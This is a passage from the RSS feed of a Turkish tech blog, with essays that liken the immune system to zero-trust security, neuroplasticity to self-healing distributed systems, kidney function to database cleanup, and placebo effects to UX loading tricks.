<strong>"Self" (Bizden Olan) ile "Non-Self" (Yabancı / Tehdit) Ayrımı.</strong></p>
<p>Her bir hücremizin yüzeyinde <strong>MHC (Büyük Doku Uyum Kompleksi)</strong> adı verilen biyolojik bir kimlik kartı bulunur. Bağışıklık sistemimizin devriye polisleri olan T lenfositleri ve Doğal Katil (Natural Killer) hücreleri, dokular arasında durmaksızın gezer. Karşılaştıkları her hücrenin yakasına yapışır ve o kimlik kartını tarar.</p>
<p>Eğer hücre o kimliği gösterirse ve üzerindeki protein dizilimi bedenin genetik koduna uyuyorsa, T hücresi yoluna devam eder: <em>"Bizdensin, geçebilirsin."</em><br>
Ama eğer hücre o kimliği gösteremezse ya da üzerinde bir virüs parçası taşıyorsa; bağışıklık hücresi tek bir milisaniye bile tereddüt etmez. Hücrenin içine ölümcül enzimler (perforin ve granzim) enjekte ederek onu anında hücresel intihara (apoptoz) sürükler.</p>
<p>Beden ne kapıdaki deriye güvenir, ne de içeri girmiş olana. Savunma her saniye, her hücre düzeyinde yeniden doğrulanır.</p>
<p>Peki yazılım dünyasında, özellikle kurumsal siber güvenlikte yıllarca ne yaptık?</p>
<h3>"Kale ve Hendek" Modelinin İflası</h3>
<p>Geleneksel ağ güvenliği anlayışı, Orta Çağ şatolarının mantığıyla tasarlanmıştı: <strong>Kale ve Hendek (Castle and Moat) Modeli.</strong></p>
<p>Şirketler veri merkezlerinin veya ofis ağlarının etrafına devasa bir güvenlik duvarı (Firewall) ve bir VPN kapısı koyardı. Mantık şuydu: <em>"Dışarısı tehlikeli bir vahşi batı, içerisi ise güvenli bir cennet. Hendekten (VPN'den) içeri girmeyi başaran herkese koşulsuz güvenebiliriz."</em></p>
<p>Bu yaklaşım, insan biyolojisi açısından tam bir intihardır. Düşünsenize; derinizi küçük bir iğneyle delip içeri giren tek bir bakteriye tüm organlarınızın <em>"Madem deriyi aştın, o zaman karaciğerde ve kalpte serbestçe dolaşabilirsin"</em> dediğini... İnsan soyu bir hafta içinde tükenirdi.</p>
<p>Nitekim modern siber saldırılarda "Kale ve Hendek" modeli tamamen çöktü.<br>
Bir saldırgan şirketin muhasebecisine oltalama (phishing) e-postası atıp VPN şifresini ele geçirdiği an; o iç ağda bulunan tüm veritabanlarına, müşteri kayıtlarına ve kaynak kodlara elini kolunu sallayarak erişebiliyordu. Çünkü içeride tek bir kontrol noktası bile yoktu.</p>
<h3>Zero-Trust: Biyolojinin Siber Güvenliğe İlhamı</h3>
<p>Son yıllarda sektörün kurtarıcısı olarak parlayan <strong>Zero-Trust (Sıfır Güven)</strong> mimarisi, aslında bilgisayar mühendislerinin icat ettiği yeni bir teknoloji değildir. Zero-Trust; milyonlarca yıllık insan bağışıklık sisteminin kelimesi kelimesine kopyalanmasından ibarettir.</p>
<p>Zero-Trust'ın amentüsü basittir: <strong>"Asla güvenme, her zaman doğrula."</strong> <em>(Never trust, always verify.)</em></p>
<p>Bu mimaride artık "iç ağ" veya "güvenli bölge" diye bir kavram yoktur.</p>
<ul>
<li>İster ofis masasından bağlanın, ister evinizden;</li>
<li>İster şirketin CEO'su olun, ister stajyer;</li>
<li>İster bir mikroservis diğer mikroservise istek atsın;</li>
</ul>
<p>Her bir istek (HTTP request, veritabanı sorgusu, API çağrısı) tıpkı o T hücresinin sorgusu gibi karşılanır. Karşılıklı TLS (mTLS) sertifikaları kontrol edilir, JWT token'ları doğrulanır, istek yapan servisin o an o veriye erişmeye yetkisi olup olmadığı (IAM / RBAC) en ince ayrıntısına kadar taranır.</p>
<p>Bir servisin içeride olması ona hiçbir imtiyaz sağlamaz. Tıpkı bedenin içindeki bir hücrenin, her saniye kimliğini yeniden kanıtlamak zorunda olması gibi.</p>
<h3>İmmün Sistemin İki Büyük Hastalığı ve Yazılımdaki Karşılıkları</h3>
<p>Bağışıklık sistemini incelerken tıp fakültesinde öğrendiğimiz iki büyük patoloji vardır ki, siber güvenlik ekiplerinin her gün yaşadığı kabuslarla birebir örtüşür:</p>
<h4>1. Otoimmün Hastalıklar (False Positives)</h4>
<p>Bağışıklık sistemi bazen dengesini kaybeder ve aşırı paranoyaklaşır. Bedenin kendi sağlıklı dokularını (eklemlerini, böbreklerini, sinir kılıflarını) yabancı bir düşman sanıp saldırmaya başlar: Lupus, Romatoid Artrit, Multipl Skleroz (MS)... Beden kendi kendini yok eder.</p>
<p>Siber güvenlikte de aşırı katı, kötü kurgulanmış WAF (Web Application Firewall) veya IPS kuralları tam olarak bu otoimmün krizi yaratır:<br>
Güvenlik sistemi o kadar agresiftir ki; sitenize alışveriş yapmaya gelen gerçek müşterileri, API entegrasyonu yapan iş ortaklarınızı ve hatta kendi arka plan servislerinizi "siber saldırgan" sanıp engeller (False Positive). Güvenlik sağlamaya çalışırken şirketin kendi ticaretini felç edersiniz.</p>
<h4>2. Kanser ve Truva Atı (Insider Threat / Privilege Escalation)</h4>
<p>Kanser hücreleri dışarıdan gelen bir bakteri değildir; bizzat sizin kendi hücrelerinizdir. DNA'ları bozulmuştur, kontrolsüzce çoğalırlar ama yüzeylerinde bağışıklık sistemini aldatacak özel kimlik sinyalleri (PD-L1 kontrol noktaları) taşırlar. T hücresi yanlarına geldiğinde o sahte kimliği gösterip <em>"Ben yabancı değilim, bizden biriyim"</em> diyerek bağışıklık polislerini uyuturlar.</p>
<p>Yazılımda da en yıkıcı saldırılar dışarıdan gelen kaba kuvvet (DDoS) saldırıları değildir; meşru bir kullanıcı veya servis hesabının kimliğini çalıp (Token Theft / Credential Stuffing) sistemin içinde sessizce yetki yükselten (Privilege Escalation) Truva atlarıdır. Sistem o isteği "bizden" sandığı için tüm kapıları açar.</p>
<h3>Güvenlik Statik Bir Duvar Değil, Yaşayan Bir Reflekstir</h3>
<p>Birçok şirket siber güvenliği, bir kez satın alınıp sunucuya kurulan ve bir daha bakılmayan pahalı bir donanım kutusu zanneder.</p>
<p>Oysa insan bağışıklığı statik bir zırh değildir. Her gün yeni virüslerle karşılaşan, antikor üreten, hafıza hücreleriyle (Memory B Cells) geçmiş saldırıları hatırlayan ve sürekli adapte olan <strong>canlı, dinamik bir öğrenme sürecidir.</strong></p>
<p>Sistemlerinizi kaleler gibi tasarlamayı bırakın.<br>
Sistemlerinizi yaşayan bir biyolojik organizma gibi tasarlayın:</p>
<ul>
<li>Her noktada kimlik doğrulayın,</li>
<li>Yetkileri en aza indirin (Principle of Least Privilege),</li>
<li>Ve ağınızın içindeki hiçbir bileşene körü körüne güvenmeyin.</li>
</ul>
<p>Çünkü hayatta kalmanın sırrı, kapıyı kalınlaştırmakta değil; damarlarınızın her milimetresinde o soğukkanlı, uyanık ve şüpheci bağışıklık nöbetini kesintisiz tutabilmektedir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>bagisiklik</category>
            <category>siber-guvenlik</category>
            <category>zero-trust</category>
            <category>otoimmun</category>
            <category>mimari</category>
            <category>biyoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/immun-sistem-bagisiklik-ve-siber-guvenlik-vucudun-self--non-self-ayrimi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Biyolojik Plastisite ve Adaptatif Mimariler: Yaşayan Bir Kod Tabanı Mümkün mü?]]></title>
            <link>http://localhost:3000/blog/post/biyolojik-plastisite-ve-adaptatif-mimariler-yasayan-bir-kod-tabani-mumkun-mu</link>
            <guid>biyolojik-plastisite-ve-adaptatif-mimariler-yasayan-bir-kod-tabani-mumkun-mu</guid>
            <pubDate>Sat, 08 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İnsan beyni hasar gördüğünde başka nöronlar o görevi üstlenir (nöroplastisite). Dağıtık sistemlerin kendiliğinden ölçeklenmesi ve hasarlı düğümü pasifize edip yaşamaya devam etmesi üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/biyolojik-plastisite-ve-adaptatif-mimariler-yasayan-bir-kod-tabani-mumkun-mu/thumbnail" alt=""> Nörolojinin 20. yüzyıldaki en sarsıcı keşiflerinden biri <strong>Nöroplastisite (Beyin Plastisitesi)</strong> kavramıdır.</p>
<p>Eski tıp kitapları, insan beyninin gelişimini tamamladıktan sonra değişmez, statik ve katı bir devre tahtası gibi çalıştığını varsayardı: <em>"Bir bölge hasar görürse, o fonksiyon sonsuza kadar yok olur."</em></p>
<p>Oysa gerçek çok daha mucizevi bir dayanıklılığı barındırıyordu.<br>
Ağır bir inme (felç) geçiren, beyninin sol tarafındaki konuşma merkezi (Broca alanı) kanama nedeniyle tamamen tahrip olan hastaların aylar süren rehabilitasyonun ardından yeniden konuşabildiğini gördük. Nasıl mı? Çünkü beyin katı bir makine değildi. Hasar gören bölgenin etrafındaki sağlam nöronlar, aralarında yepyeni sinaptik köprüler örüyor, rol değiştiriyor ve ölen dokunun görevini sırtlanıyordu.</p>
<p>Bedenimiz hayatta kalabilmek için kırılmayı değil; <strong>şekil değiştirmeyi (adaptasyonu)</strong> seçmişti.</p>
<p>Şimdi bu biyolojik esnekliği alın ve bilgisayar mühendisliğinin o katı, kırılgan ve hassas mimari dünyasıyla karşılaştırın.</p>
<h3>Camdan Kuleler: Geleneksel Yazılımın Kırılganlığı</h3>
<p>Geleneksel yazılım mimarileri çoğu zaman sert bir porselen vazo gibi tasarlanır. Dışarıdan baktığınızda pürüzsüz, simetrik ve kusursuz görünür. Ancak en ufak bir sarsıntıda, tek bir bağlantının kopmasında ya da beklenmedik bir yük dalgasında paramparça olur.</p>
<p>Tek bir monolitik sunucu düşünün. İçinde ödeme servisi, bildirim servisi, raporlama modülü ve kullanıcı yönetimi hepsi aynı bellek alanında (in-memory) yan yana çalışır.</p>
<p>Günün birinde raporlama modülündeki acemi bir geliştirici, arkasında <code>LIMIT</code> olmayan devasa bir SQL sorgusu çalıştırır. Bellek tükenir. Ve ne olur?<br>
Sadece raporlama modülü çökmez; ödeme sistemi de çöker, kullanıcı girişi de durur, tüm şirket felç olur.</p>
<p>Sisteminizin bir parmağı incinmiştir; ama bütün beden komaya girmiştir. Çünkü sisteminizde plastisite (esneklik) yoktur; katılık (rigidity) vardır.</p>
<h3>Kendi Kendini Onaran (Self-Healing) Mimariler</h3>
<p>Son yıllarda modern dağıtık sistemlerin (Distributed Systems), bulut mimarilerinin ve Kubernetes gibi orkestrasyon araçlarının çözmeye çalıştığı asıl problem; hızı artırmak değil, <strong>biyolojik plastisiteyi kod tabanına kazandırmaktır.</strong></p>
<p>Gerçekten dayanıklı (resilient) bir mimari, felaketlerin "asla yaşanmayacağını" iddia eden mimari değildir. Tam aksine; sistemin her an bir organının iflas edebileceğini peşinen kabul eden ve bu hasara rağmen yaşamaya devam eden mimaridir:</p>
<ol>
<li><strong>Hasarlı Düğümü İzole Etmek (Circuit Breaker):</strong> Tıpkı beynin hasarlı damarı tıkayıp kanamayı durdurması gibi; bir mikroservis çöktüğünde veya yanıt vermeyi kestiğinde, <em>Circuit Breaker</em> (Devre Kesici) mekanizması devreye girer. O servise giden istekleri anında keser; hatanın diğer servislere bulaşmasını (cascading failure) engeller.</li>
<li><strong>Kademeli Trafik Yönlendirme (Dynamic Traffic Re-Routing):</strong> Bir veri merkezindeki sunuculardan biri yandığında, Service Mesh trafiği hiçbir insanın müdahalesine gerek kalmadan, milisaniyeler içinde sağlıklı diğer düğümlere (node) akıtır. Tıpkı felçli beyindeki sinir sinyallerinin yeni sinapslardan akması gibi.</li>
<li><strong>Otomatik Hücre Yenilenmesi (Auto-Restart &#x26; Healing):</strong> Kubernetes'te bir pod bellek hatasından öldüğünde, kontrolcü (controller) o cesedin başında yas tutmaz. Anında yeni bir pod ayağa kaldırır, hazır olduğunda trafiği ona devreder. Bedenimizin her gün milyarlarca ölen epitel hücresinin yerine yenisini üretmesi gibi.</li>
</ol>
<h3>Nassim Taleb ve "Antifrajil" Kod</h3>
<p>Felsefeci Nassim Nicholas Taleb'in meşhur bir kavramı vardır: <strong>Antifragile (Kırılgan Olmayan / Darbeden Güçlenen).</strong></p>
<p>Taleb der ki: <em>"Kırılgan olan şey rüzgarda söner; ama ateş rüzgardan beslenir ve daha da büyür."</em></p>
<p>Yazılımda da en üstün mimari seviyesi; sadece hatalara karşı "dayanıklı" (robust) olan değil, hatalardan beslenerek kendini kalibre eden sistemlerdir. Netflix'in meşhur <strong>Chaos Monkey</strong> aracını hatırlayın. Kendi canlı üretim (production) sunucularındaki servisleri mesai saatleri içinde rastgele öldüren bir yazılım botu!</p>
<p>Neden bir şirket kendi sistemini bilerek sabote eder?<br>
Çünkü sistemin plastisitesini test etmek isterler. Bir sunucu aniden öldüğünde mimarinin kasları refleks olarak kasılmalı, trafik anında diğer yöne akmalı ve sistem bu travmayı sindirerek daha güçlü bir adaptasyon geliştirmelidir.</p>
<h3>Yaşayan Bir Kod Tabanı İnşa Etmek</h3>
<p>Bir sistemin mimarisini tasarlarken kendinize şu soruyu sormak zorundasınız:<br>
<em>"Ben kırılmaz bir kale mi inşa ediyorum, yoksa yaşayan bir organizma mı?"</em></p>
<p>Kaleler depremde yıkılır; çünkü esnemezler. Ama yaşayan organizmalar hayatta kalır; çünkü darbe aldıkları yerde şekil değiştirir, yükü diğer organlarına paylaştırır ve nefes almaya devam ederler.</p>
<p>En iyi mimariler asla çökmeyenler değildir.<br>
En iyi mimariler; çöktüğü an bunu zarafetle karşılayan, hasarlı parçasını sessizce bypass eden ve kullanıcılarına hissettirmeden hayatta kalmayı başaran sistemlerdir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>noroplastisite</category>
            <category>self-healing</category>
            <category>mimari</category>
            <category>dagitik-sistemler</category>
            <category>adaptasyon</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/biyolojik-plastisite-ve-adaptatif-mimariler-yasayan-bir-kod-tabani-mumkun-mu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Triyöz / Toksisite ve Veritabanı Şişmesi: Vücudun Atıkları İhraç Etme Mücadelesi]]></title>
            <link>http://localhost:3000/blog/post/triyoz--toksisite-ve-veritabani-sismesi-vucudun-atiklari-ihrac-etme-mucadelesi</link>
            <guid>triyoz--toksisite-ve-veritabani-sismesi-vucudun-atiklari-ihrac-etme-mucadelesi</guid>
            <pubDate>Fri, 07 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Böbrekler ve karaciğer vücuttaki toksik atıkları sürekli filtreler. Temizlenmeyen atıklar vücudu zehirler. Bir veritabanında biriken loglar, indekslenmemiş devasa tablolar ve temizlenmeyen verilerin sistemi felç etmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/triyoz--toksisite-ve-veritabani-sismesi-vucudun-atiklari-ihrac-etme-mucadelesi/thumbnail" alt=""> Biyoloji derslerinde bize hep insan kalbinin asaleti, beynin karmaşık dehası veya akciğerlerin ferahlığı anlatılır. Vücudun en sessiz, en nankör ama durduğu an insanı saatler içinde öldüren kahramanlarından ise pek bahsedilmez: <strong>Böbrekler ve Karaciğer.</strong></p>
<p>Her bir dakikada kalbin pompaladığı kanın yaklaşık dörtte biri (1.2 litre) doğrudan böbreklerden geçer. Neden mi? Çünkü trilyonlarca hücremiz durmaksızın çalışır, glikoz yakar, protein sentezler ve bu hayati metabolizmanın kaçınılmaz bir sonucu olarak devasa miktarda toksik çöp üretir: Üre, kreatinin, ürik asit, amonyak...</p>
<p>Eğer böbrekleriniz bu çöpleri idrar yoluyla dışarı atamazsa; tıp dünyasının en korkunç tablolarından biri olan <strong>Üremi ve Toksik Asidoz</strong> başlar.</p>
<p>Kandaki zehir seviyesi yükselir. Önce iştahsızlık ve bulantı başlar, ardından beyin dokusu ödem yapar, hasta halüsinasyonlar görmeye başlar, komaya girer ve kalbi durur. İnsan bedeni, dışarıdan gelen bir virüs yüzünden değil; <strong>kendi ürettiği metabolik atıkların içinde boğulduğu için</strong> ölür.</p>
<p>Diyaliz makinesi, bir insanın kanını o zehirden temizleyen yapay bir kurtuluş kapısıdır.</p>
<p>Peki yazılım dünyasında, özellikle veritabanı mimarilerinde durum bundan farklı mıdır?</p>
<h3>Şişen Tablolar ve Veritabanı Üremisi</h3>
<p>Bir startup veya kurumsal yazılım ilk kurulduğunda her şey ne kadar hızlı ve pürüzsüzdür, değil mi? Sorgular milisaniyeler içinde döner, dashboard saniyede yüklenir, veritabanı CPU kullanımı %5'i geçmez. Çünkü sistem henüz gençtir; damarlarında tek bir atık partikülü bile birikmemiştir.</p>
<p>Ama aylar ve yıllar geçer. Uygulamanız büyür:</p>
<ul>
<li>Kullanıcıların her tıklamasını kaydettiğiniz o <code>activity_logs</code> tablosu 100 milyon satırı aşar.</li>
<li>Süresi çoktan dolmuş ama asla temizlenmeyen <code>user_sessions</code> tablosu gigabaytlarca yer kaplar.</li>
<li>Soft-delete mantığıyla (<code>is_deleted = true</code>) sözde "sildiğiniz" ama diskin en derin köşelerinde çürümeye bıraktığınız milyonlarca ölü satır (dead tuples) birikir.</li>
<li>Ve PostgreSQL gibi modern veritabanlarında <code>VACUUM</code> süreçleri düzgün yapılandırılmadığı için, silinen verilerin açtığı boşluklar şişer (Database Bloat).</li>
</ul>
<p>Sonra ne olur?</p>
<p>Sistem yavaşlamaya başlar. Eskiden 10 milisaniyede dönen basit bir <code>SELECT</code> sorgusu artık 8 saniyede dönmemeye başlar. Disk I/O tavan yapar. Bellek tükenir.</p>
<p>Ve ekibin acemi mühendisleri aynı yanlış teşhisi koyar:<br>
<em>"Veritabanı sunucumuz yetersiz kalıyor, AWS RDS instansını iki katına çıkaralım, 32 GB RAM ekleyelim."</em></p>
<p>İşte bu, böbrekleri iflas etmiş ve vücudu üre zehirlenmesine girmiş bir hastaya; <em>"Bunun kanı azaldı herhalde, biraz daha serum bağlayalım"</em> demekle aynı ölümcül hatadır.</p>
<p>Siz sorunu çözmüyorsunuz; zehirli bataklığın içine sadece biraz daha temiz su döküyorsunuz. Bir ay sonra o 32 GB RAM de yetmeyecek; çünkü atık üretimi devam ediyor ve boşaltım mekanizmanız çalışmıyor!</p>
<h3>Garbage Collection Sadece Bir Dil Özelliği Değildir</h3>
<p>Yazılımcılar "Garbage Collection" (Çöp Toplayıcı) dendiğinde sadece Java, Go veya JavaScript runtime'ının bellekteki kullanılmayan değişkenleri temizlemesini (ve bazen sistemi donduran <em>Stop-the-World</em> duraklamalarını) hatırlar.</p>
<p>Oysa gerçek bir sistem mimarisinde Garbage Collection, tüm organizmayı kapsayan bir <strong>Boşaltım Politikasıdır</strong>:</p>
<ol>
<li><strong>Ömür Sınırı (TTL - Time to Live) Koymak:</strong> Sisteme giren her verinin bir kullanım ömrü olmalıdır. Üç yıl önceki bir kullanıcının parola sıfırlama token'ı neden hâlâ birincil ilişkisel veritabanınızda duruyor? Süresi dolan geçici veriler, Redis veya tablolardan otomatik olarak ihraç edilmelidir.</li>
<li><strong>Tablo Bölümleme (Partitioning):</strong> Büyük log tablolarını aylık veya haftalık dilimlere (partitions) bölün. Zamanı geçen bir ayı sistemden temizlemek için <code>DELETE</code> sorgusuyla veritabanını kilitlemek yerine, tek bir <code>DROP TABLE</code> komutuyla o parçayı cerrahi olarak dışarı atın.</li>
<li><strong>Soğuk Depolama ve Arşivleme (Diyaliz Hattı):</strong> Canlı veritabanınız bir müze veya çöp kutusu değildir. Yasal olarak saklamak zorunda olduğunuz 5 yıllık geçmiş sipariş verilerini canlı OLTP veritabanından kesin; S3, BigQuery veya soğuk bir veri ambarına (Data Warehouse) tahliye edin. Canlı veritabanınız sadece nefes alan, aktif veriyi taşımalıdır.</li>
</ol>
<h3>Temizlenmeyen Sistem Çürümeye Mahkûmdur</h3>
<p>Bir insan ne kadar kaliteli yemek yerse yesin, ne kadar spor yaparsa yapsın; böbrekleri çalışmadığı sürece en fazla birkaç gün hayatta kalabilir.</p>
<p>Bir yazılım da ne kadar kusursuz bir mimariye sahip olursa olsun, ne kadar güçlü sunucularda çalışırsa çalışsın; kendi ürettiği metabolik atıkları düzenli olarak dışarı atacak bir boşaltım disiplinine sahip değilse, eninde sonunda kendi çöplüğünde boğulmaya mahkûmdur.</p>
<p>Veritabanınıza sadece veri yazmayı değil; o veriyi zarafetle ve zamanında dışarı atmayı da öğrenin.</p>
<p>Çünkü hayatta kalmak, sadece tüketmekle değil; atıklardan arınabilme kabiliyetiyle mümkündür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>veritabani</category>
            <category>garbage-collection</category>
            <category>toksisite</category>
            <category>diyaliz</category>
            <category>database-bloat</category>
            <category>performans</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/triyoz--toksisite-ve-veritabani-sismesi-vucudun-atiklari-ihrac-etme-mucadelesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Placebo Etkisi" ve Arayüz Tasarımı (UX): Kullanıcıyı Sakinleştiren İllüzyonlar]]></title>
            <link>http://localhost:3000/blog/post/placebo-etkisi-ve-arayuz-tasarimi-ux-kullaniciyi-sakinlestiren-illuzyonlar</link>
            <guid>placebo-etkisi-ve-arayuz-tasarimi-ux-kullaniciyi-sakinlestiren-illuzyonlar</guid>
            <pubDate>Thu, 06 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tıpta hiçbir etken maddesi olmayan hapların hastayı iyileştirebilmesi gibi; arayüzlerde de gerçekte işlemi hızlandırmayan ama kullanıcıya kontrol hissi veren Skeleton Loader ve Optimistic UI gibi psikolojik plasebolar üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/placebo-etkisi-ve-arayuz-tasarimi-ux-kullaniciyi-sakinlestiren-illuzyonlar/thumbnail" alt=""> Tıp tarihinin en gizemli, en çok tartışılan ve modern bilimin hâlâ tam olarak çözemediği mucizelerinden biri <strong>Plasebo Etkisidir (Placebo Effect).</strong></p>
<p>Bir hastaya içinde hiçbir kimyasal etken madde bulunmayan, sadece saf nişasta ve şekerden yapılmış beyaz bir hap verirsiniz. Veya damarına sadece steril tuzlu su (serum fizyolojik) enjekte edersiniz. Ama hastaya derin, güven veren bir ses tonuyla şunu söylersiniz: <em>"Bu, dünyadaki en yeni ve en güçlü ağrı kesicidir. Birkaç dakika içinde rahatlayacaksınız."</em></p>
<p>Ve ne olur biliyor musunuz?<br>
Klinik araştırmalar gösteriyor ki, hastaların en az üçte birinde (%35) o şiddetli ağrı gerçekten diner. Tansiyon düşer, nabız yavaşlar, kandaki endorfin (doğal ağrı kesici) seviyesi fırlar.</p>
<p>Beyin, "iyileşiyorum" inancını doğrudan biyolojik bir gerçeğe dönüştürür. Plasebo bir şarlatanlık veya yalan değildir; insan zihninin beklentiye verdiği nörolojik bir anestezidir.</p>
<p>Şimdi hastaneden çıkalım ve akıllı telefonlarımızın o parlak cam ekranlarına, mobil uygulamalara ve web sitelerine bakalım.</p>
<p>Eğer modern arayüz tasarımının (UI/UX) sadece pikselleri hizalamak, doğru renk paletini seçmek ve CSS yazmaktan ibaret olduğunu sanıyorsanız, çok büyük bir yanılgı içindesiniz. Modern UX mühendisliği, özünde <strong>kullanıcı algısını yöneten devasa bir dijital plasebo sanatıdır.</strong></p>
<h3>Asansördeki "Kapıyı Kapat" Butonu</h3>
<p>Gerçek hayattaki en ünlü fiziksel plaseboyu hepimiz her gün kullanırız: Asansörlerdeki <strong>"Kapıyı Kapat" (Door Close)</strong> butonu.</p>
<p>Büyük binalardaki asansörlerin ezici bir çoğunluğunda o butonun arkasında hiçbir kablo veya elektronik devre bağlı değildir. Kapı zaten önceden ayarlanmış olan o 5 saniyelik süresi dolunca kendi kendine kapanacaktır.</p>
<p>Peki asansör üreticileri neden o butonu oraya koyar?<br>
Çünkü insan beyni beklemekten nefret eder; ama daha da çok <strong>kontrolsüzlükten</strong> nefret eder. O butona üç kez art arda basan insan, kapının kendi eylemi sayesinde kapandığını sanır. Anksiyetesi yatışır, kontrol hissi geri gelir. Buton kapıyı kapatmaz; ama zihni sakinleştirir.</p>
<p>İşte modern yazılım dünyasının dahi tasarımcıları, bu asansör butonunu kod bloklarına dönüştürdü.</p>
<h3>Dijital Plasebo 1: İskelet Ekranlar (Skeleton Loaders)</h3>
<p>Bir web sitesine girdiğinizi düşünün. Sunucudan verinin gelmesi ve ekrana basılması tam 2.5 saniye sürüyor olsun.</p>
<p>Eğer kullanıcıya bu 2.5 saniye boyunca boş, beyaz bir ekran ve ortasında dönen klasik bir yükleme simgesi (spinner) gösterirseniz; kullanıcı o 2.5 saniyeyi adeta 10 saniye gibi hisseder. Sayfayı terk etme oranı (bounce rate) tavan yapar. Kullanıcı <em>"Bu site bozuk, çalışmıyor"</em> der.</p>
<p>Ama aynı 2.5 saniye boyunca ekrana içeriğin henüz gelmediği, hafifçe yanıp sönen gri kutucuklar (Skeleton Screen / Shimmer Effect) koyarsanız ne olur?<br>
Kullanıcı süreyi 1 saniye gibi hisseder. Çünkü beyin o gri kutuları gördüğü an <em>"İçerik hazır, şu an yerleştiriliyor"</em> algısına kapılır. Bekleme süresi matematiksel olarak aynıdır; ama algılanan süre yarı yarıya düşmüştür.</p>
<p>Siz sunucuyu hızlandırmadınız; siz kullanıcının algısına plasebo verdiniz.</p>
<h3>Dijital Plasebo 2: İyimser Güncelleme (Optimistic UI)</h3>
<p>Instagram'da veya X'te bir gönderiyi beğendiğinizde ne olur? Ekrana iki kez dokunursunuz ve o kalp anında, sıfır gecikmeyle kırmızıya döner.</p>
<p>Peki o kırmızı kalbin o an gerçekten veritabanına kaydedildiğini mi sanıyorsunuz?<br>
Hayır. Telefonunuzun o isteği hücresel ağ üzerinden baz istasyonuna, oradan veri merkezine yollaması, veritabanına yazması ve geri dönüş sinyali alması en iyi ihtimalle 300-500 milisaniye sürer.</p>
<p>Eğer uygulama o onayı bekleseydi, her beğeni butonuna bastığınızda ekran yarım saniye donardı.<br>
Bunun yerine frontend mühendisleri <strong>Optimistic UI (İyimser Arayüz)</strong> uygular: Sunucunun o işlemi <em>"nasılsa onaylayacağını"</em> varsayarak, henüz network isteği yoldayken arayüzü anında günceller. Kullanıcı için işlem 0 milisaniyedir.</p>
<p>Eğer arkada bir hata olursa? Kalp sessizce eski haline döner. Ama vakaların %99'unda kullanıcı o ilüzyonun kusursuz akıcılığıyla mest olur.</p>
<h3>Dijital Plasebo 3: "Sizin İçin En İyi Fiyatları Arıyoruz..."</h3>
<p>Bazen de tam tersi gerekir: Bir işlemin "çok hızlı" olması kullanıcıda güvensizlik yaratır.</p>
<p>Büyük uçak bileti veya otel arama motorlarını (Skyscanner, Booking) düşünün. Bir arama yaparsınız. Sistem aslında o fiyatları önbellekten (cache) 50 milisaniyede getirebilecek altyapıya sahiptir.</p>
<p>Ama eğer sonucu 50 milisaniyede şak diye ekrana basarlarsa ne olur biliyor musunuz? Kullanıcı testleri göstermiştir ki, kullanıcılar <em>"Bu sistem kesin tüm havayollarını taramadı, baştan savma birkaç sonuç getirdi"</em> diyerek o biletleri satın almaktan vazgeçiyor.</p>
<p>Bu yüzden tasarımcılar bilerek araya 3 saniyelik yapay bir gecikme ve sevimli bir animasyon koyar:<br>
<em>"142 havayolu taranıyor... Fiyatlar karşılaştırılıyor... Sizin için en uygun koltuklar seçiliyor..."</em><br>
Kullanıcı o 3 saniye boyunca ekranı huşu içinde izler ve sonucun ne kadar "kapsamlı ve derin" bir çalışmanın eseri olduğuna inanarak kartını çıkarır.</p>
<h3>Algı, Gerçekliğin Kendisidir</h3>
<p>Yazılım sadece sunucu donanımlarından, mikroişlemcilerden ve SQL sorgularından ibaret değildir. Kodunuzun bittiği yerde, o ekranın başında oturan etten, kemikten ve karmaşık duygulardan oluşan <strong>insan</strong> başlar.</p>
<p>Milisaniyeleri optimize etmek için gecenizi gündüzünüze katabilirsiniz. Veritabanı sorgusunu 200 ms'den 150 ms'ye düşürmek için haftalarca mimari tartışabilirsiniz.</p>
<p>Ama bazen kullanıcınızın yüzündeki o gerginliği silmenin yolu sunucuya daha fazla CPU takmak değil; arayüze zarafetle yerleştirilmiş küçük, şefkatli bir plasebo illüzyonudur.</p>
<p>Çünkü tıpta olduğu gibi teknolojide de; bir insanın kendini iyi hissetmesi, laboratuvar sonuçlarının ne söylediğinden her zaman çok daha önemlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ux</category>
            <category>tasarim</category>
            <category>placebo</category>
            <category>psikoloji</category>
            <category>frontend</category>
            <category>kullanici-deneyimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/placebo-etkisi-ve-arayuz-tasarimi-ux-kullaniciyi-sakinlestiren-illuzyonlar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Tolerans ve Doz": Ağrı Kesiciye Alışan Vücut ve Yüksek Kaynağa Alışan Kod]]></title>
            <link>http://localhost:3000/blog/post/tolerans-ve-doz-agri-kesiciye-alisan-vucut-ve-yuksek-kaynaga-alisan-kod</link>
            <guid>tolerans-ve-doz-agri-kesiciye-alisan-vucut-ve-yuksek-kaynaga-alisan-kod</guid>
            <pubDate>Wed, 05 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Ağrı kesici ilaçları sürekli ve yüksek dozda kullanan bir hastanın vücudu tolerans geliştirir ve daha yüksek doz ister. Kötü optimize edilmiş bir yazılımın da sunucu kaynakları (RAM/CPU) artırıldıkça daha obur hale gelmesi üzerine.]]></description>
